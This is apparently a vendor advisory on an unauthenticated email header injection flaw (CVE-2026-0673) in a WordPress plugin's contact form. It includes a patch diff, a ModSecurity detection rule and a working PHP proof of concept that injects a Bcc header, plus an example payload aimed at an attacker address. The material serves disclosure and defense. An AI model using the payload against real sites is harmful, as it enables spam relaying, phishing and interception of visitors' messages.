Published : August 5, 2026

CVE-2026-0673: Element Pack Addons for Elementor <= 8.3.15 Unauthenticated SMTP Header Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-0673
Severity Medium (CVSS 5.3)
CWE 93
Vulnerable Version 8.3.15
Patched Version 8.3.16
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0673: The Element Pack Addons for Elementor plugin for WordPress, versions up to and including 8.3.15, contains an unauthenticated Email Header Injection vulnerability. The flaw resides in the `element_pack_contact_form` AJAX action, where insufficient sanitization of newline characters within user-supplied fields allows attackers to inject arbitrary email headers. This security issue carries a CVSS score of 5.3.

Root Cause: The vulnerability originates in the contact form module at `bdthemes-element-pack-lite/modules/contact-form/module.php`. In the vulnerable code, the `$_POST` data is processed in a loop that selectively applies sanitization. The vulnerable section, around line 105, only calls `sanitize_email()` for values that pass the `is_email()` check, and `sanitize_textarea_field()` for all other fields. However, the `sanitize_textarea_field()` function preserves newline characters, which is inappropriate for fields like `name`, `subject`, and `contact` that become part of email headers. This unsanitized input is later concatenated into the `Reply-To` header at line 205, as shown in the diff, allowing malicious newline characters to be passed directly into the email header block.

Exploitation: An unauthenticated attacker can exploit this by sending a POST request to the `admin-ajax.php` endpoint with the `action` parameter set to `element_pack_contact_form`. The malicious payload is placed in the `name` (or `subject`, `contact`) POST parameters. By injecting a newline character (`%0d%0a` or `%0a`) followed by arbitrary header content, such as `%0d%0aBcc:attacker@evil.com`, the attacker can manipulate the email’s headers. This allows them to add recipients for BCC (Blind Carbon Copy) or change the subject line, potentially turning the contact form into a spam relay or enabling phishing attacks.

Patch Analysis: The patch in version 8.3.16 adds specific sanitization for fields likely used in headers. In the vulnerable file, the code now checks if the field is `name`, `subject`, or `contact` and applies `sanitize_text_field()` to those fields, which strips all newline characters and tags. The patch further hardens the `Reply-To` header construction by explicitly stripping any remaining `r` and `n` characters from the `name` variable using `str_replace()`. This dual-layered approach ensures that no newline characters can be transmitted to the email headers, effectively neutralizing the attack vector. The patch also updates the plugin version from 8.3.15 to 8.3.16.

Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary email headers into the emails sent through the contact form. This can lead to email spoofing, phishing, or spamming by using the website’s email server to send unsolicited emails. The attacker could also redirect email replies to their own address via a modified Reply-To header, potentially allowing them to harvest sensitive information that the website’s visitors intended to send to the site owner. Additionally, the vulnerability could be leveraged in a phishing campaign to increase the credibility of malicious emails, as they would originate from the trusted domain. The overall impact is limited to email header manipulation and does not lead to direct remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bdthemes-element-pack-lite/admin/admin-biggopti.php
+++ b/bdthemes-element-pack-lite/admin/admin-biggopti.php
@@ -60,6 +60,8 @@

 		$response_body = wp_remote_retrieve_body($response);

+		/// error_log($response_body);
+
 		$biggopties = json_decode($response_body);

 		if( isset($biggopties) && isset($biggopties->{'element-pack'}) ) {
@@ -314,23 +316,41 @@
 			wp_send_json_error([ 'message' => 'forbidden' ]);
 		}

+		// Don't show biggopties on plugin/theme install and upload pages
+		$current_url = isset($_POST['current_url']) ? sanitize_text_field($_POST['current_url']) : '';
+
+		if (!empty($current_url)) {
+			$excluded_patterns = [
+				'plugin-install.php',
+				'theme-install.php',
+				'action=upload-plugin',
+				'action=upload-theme'
+			];
+
+			foreach ($excluded_patterns as $pattern) {
+				if (strpos($current_url, $pattern) !== false) {
+					wp_send_json_success([ 'html' => '' ]);
+				}
+			}
+		}
+
 		$biggopties = $this->get_api_biggopties_data();
 		$grouped_biggopties = [];

 		if (is_array($biggopties)) {
 			foreach ($biggopties as $index => $biggopti) {
 				if ($this->should_show_biggopti($biggopti)) {
-					$biggopti_class = isset($biggopti->biggopti_class) ? $biggopti->biggopti_class : 'default-' . $index;
-					if (!isset($grouped_biggopties[$biggopti_class])) {
-						$grouped_biggopties[$biggopti_class] = $biggopti;
+					$display_id = isset($biggopti->display_id) ? $biggopti->display_id : 'default-' . $index;
+					if (!isset($grouped_biggopties[$display_id])) {
+						$grouped_biggopties[$display_id] = $biggopti;
 					}
 				}
 			}
 		}

 		// Build biggopties using the same pipeline as synchronous rendering
-		foreach ($grouped_biggopties as $biggopti_class => $biggopti) {
-			$biggopti_id = isset($biggopti->id) ? $biggopti_class : $biggopti->id;
+		foreach ($grouped_biggopties as $display_id => $biggopti) {
+			$biggopti_id = isset($biggopti->id) ? $display_id : $biggopti->id;

 			self::add_biggopti([
 				'id' => 'api-biggopti-' . $biggopti_id,
@@ -375,7 +395,16 @@
 			if ('user' === $meta) {
 				update_user_meta(get_current_user_id(), $id, true);
 			} else {
+				// Store in transient for backward compatibility
 				set_transient($id, true, $time);
+
+				// Also store in options table for persistence
+				$dismissals_option = get_option('bdt_biggopti_dismissals', []);
+				$dismissals_option[$id] = [
+					'dismissed_at' => time(),
+					'expires_at' => time() + intval($time),
+				];
+				update_option('bdt_biggopti_dismissals', $dismissals_option, false);
 			}

 			wp_send_json_success();
@@ -445,7 +474,24 @@
 			if ('user' === $biggopti['dismissible-meta']) {
 				$expired = get_user_meta(get_current_user_id(), $biggopti_id, true);
 			} elseif ('transient' === $biggopti['dismissible-meta']) {
+				// Check transient first
 				$expired = get_transient($biggopti_id);
+
+				// If transient not found, check options table for persistent dismissal
+				if (false === $expired || empty($expired)) {
+					$dismissals_option = get_option('bdt_biggopti_dismissals', []);
+					if (isset($dismissals_option[$biggopti_id])) {
+						$dismissal = $dismissals_option[$biggopti_id];
+						// Check if dismissal is still valid (not expired)
+						if (isset($dismissal['expires_at']) && time() < $dismissal['expires_at']) {
+							$expired = true;
+						} else {
+							// Clean up expired dismissal from options
+							unset($dismissals_option[$biggopti_id]);
+							update_option('bdt_biggopti_dismissals', $dismissals_option, false);
+						}
+					}
+				}
 			}

 			// Biggopties visible after transient expire.
--- a/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
+++ b/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
@@ -4,14 +4,14 @@
  * Plugin Name: Element Pack Lite - Addons for Elementor
  * Plugin URI: http://elementpack.pro/
  * Description: The all-new <a href="https://elementpack.pro/">Element Pack</a> brings incredibly advanced, and super-flexible widgets, and A to Z essential addons to the Elementor page builder for WordPress. Explore expertly-coded widgets with first-class support by experts.
- * Version: 8.3.15
+ * Version: 8.3.16
  * Author: BdThemes
  * Author URI: https://bdthemes.com/
  * Text Domain: bdthemes-element-pack
  * Domain Path: /languages
  * License: GPL3
  * Elementor requires at least: 3.28
- * Elementor tested up to: 3.34.0
+ * Elementor tested up to: 3.34.1
  */


@@ -82,7 +82,7 @@
 if ( ! element_pack_pro_installed() ) {

 	// Some pre defined value for easy use
-	define( 'BDTEP_VER', '8.3.15' );
+	define( 'BDTEP_VER', '8.3.16' );
 	define( 'BDTEP_TPL_DB_VER', '1.0.0' );
 	define( 'BDTEP__FILE__', __FILE__ );
 	if ( ! defined( 'BDTEP_TITLE' ) ) {
--- a/bdthemes-element-pack-lite/includes/setup-wizard/init.php
+++ b/bdthemes-element-pack-lite/includes/setup-wizard/init.php
@@ -422,12 +422,13 @@

 		// Capability check - only administrators can import templates
 		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( [ 'message' => esc_html__( 'You do not have permission to perform this action.', 'bdthemes-element-pack' ) ] );
+			wp_send_json_error( [ 'message' => esc_html__( 'Unauthorized', 'bdthemes-element-pack' ) ] );
+			wp_die();
 		}

 		$json_url = isset( $_POST['import_url'] ) ? esc_url_raw( wp_unslash( $_POST['import_url'] ) ) : '';

-        $response = wp_remote_get($json_url, array(
+        $response = wp_safe_remote_get($json_url, array(
             'timeout'   => 60,
             'sslverify' => false
         ));
@@ -517,7 +518,8 @@

     // Capability check - only administrators can import templates
     if ( ! current_user_can( 'manage_options' ) ) {
-        wp_send_json_error( [ 'message' => esc_html__( 'You do not have permission to perform this action.', 'bdthemes-element-pack' ) ] );
+        wp_send_json_error( [ 'message' => esc_html__( 'Unauthorized', 'bdthemes-element-pack' ) ] );
+        wp_die();
     }

     $file_url = isset($_POST['import_url']) ? esc_url_raw(wp_unslash($_POST['import_url'])) : '';
@@ -612,7 +614,8 @@

     // Capability check - only administrators can import templates
     if ( ! current_user_can( 'manage_options' ) ) {
-        wp_send_json_error( [ 'message' => esc_html__( 'You do not have permission to perform this action.', 'bdthemes-element-pack' ) ] );
+        wp_send_json_error( [ 'message' => esc_html__( 'Unauthorized', 'bdthemes-element-pack' ) ] );
+        wp_die();
     }

     $runner = isset($_POST['runner']) ? sanitize_text_field(wp_unslash($_POST['runner'])) : '';
--- a/bdthemes-element-pack-lite/modules/contact-form/module.php
+++ b/bdthemes-element-pack-lite/modules/contact-form/module.php
@@ -105,6 +105,9 @@
             foreach ($_POST as $field => $value) {
                 if (is_email($value)) {
                     $value = sanitize_email($value);
+                } elseif (in_array($field, ['name', 'subject', 'contact'])) {
+                    // Use sanitize_text_field for single-line fields to prevent header injection
+                    $value = sanitize_text_field($value);
                 } else {
                     $value = sanitize_textarea_field($value);
                 }
@@ -202,7 +205,9 @@
                 // get the message from the form and add the IP address of the user below it
                 $email_message = $this->message_html($form_data['message'], $form_data['name'], $form_data['email'], $contact_number);
                 // set the e-mail headers with the user's name, e-mail address and character encoding
-                $headers = "Reply-To: " . $form_data['name'] . " <" . $form_data['email'] . ">n";
+                // Explicitly remove newlines to prevent header injection
+                $safe_name = str_replace(["r", "n"], '', $form_data['name']);
+                $headers = "Reply-To: " . $safe_name . " <" . $form_data['email'] . ">n";
                 $headers .= "Content-Type: text/html; charset=UTF-8n";
                 $headers .= "Content-Transfer-Encoding: 8bitn";
                 // send the e-mail with the shortcode attribute named 'email' and the POSTed data
--- a/bdthemes-element-pack-lite/modules/cursor-effects/module.php
+++ b/bdthemes-element-pack-lite/modules/cursor-effects/module.php
@@ -93,9 +93,9 @@
 				'dynamic'            => ['active' => true],
 				'frontend_available' => true,
 				'render_type'        => 'template',
-				// 'default'            => [
-				// 	'url' => Utils::get_placeholder_image_src(),
-				// ],
+				'default'            => [
+					'url' => BDTEP_ASSETS_URL . 'images/logo.svg',
+				],
 				'condition'          => [
 					'element_pack_cursor_effects_source' => 'image'
 				]

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-0673
# This rule blocks unauthenticated attempts to exploit the SMTP header injection in the element_pack_contact_form AJAX action.
# It detects newline characters (CRLF or LF) in the 'name', 'subject', and 'contact' parameters.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20260673,phase:2,deny,status:403,chain,msg:'CVE-2026-0673 - SMTP Header Injection in Element Pack Contact Form',severity:'CRITICAL',tag:'CVE-2026-0673',tag:'WordPress',tag:'Element Pack'"
  SecRule ARGS_POST:action "@streq element_pack_contact_form" "chain"
    SecRule ARGS_POST:name|ARGS_POST:subject|ARGS_POST:contact "@rx (?:%0d%0a|%0a%0d|%0a|%0d)" "chain"
      SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0673 - Element Pack Addons for Elementor <= 8.3.15 - Unauthenticated SMTP Header Injection

$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The attacker's email address to receive blind copies (BCC) of the contact form emails.
$attacker_email = 'attacker@example.com';

// Malicious payload in the 'name' field.
// A newline sequence (rn) followed by a valid BCC header.
// This is URL-encoded to ensure it is passed correctly in the POST request.
$malicious_name = 'Admin' . "rn" . 'Bcc: ' . $attacker_email;

// Payload data for the contact form.
// The 'action' parameter is required for the AJAX handler.
$post_data = array(
    'action' => 'element_pack_contact_form',
    'name' => $malicious_name,
    'email' => 'victim@example.com',
    'subject' => 'Test Subject',
    'message' => 'This is a test message.',
    'contact' => '1234567890',
    // Include other parameters the form might expect, such as widget_id, etc.
    'widget_id' => 'test_widget',
    'form_id' => 'test_form',
    'token' => 'test_token'
);

// Initialize cURL session
$ch = curl_init($target_url);

// Set cURL options
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    // Print the response to see if the contact form processed the request.
    echo 'Response: ' . $response;
    echo "n--- PoC completed ---n";
}

// Close the cURL session
curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.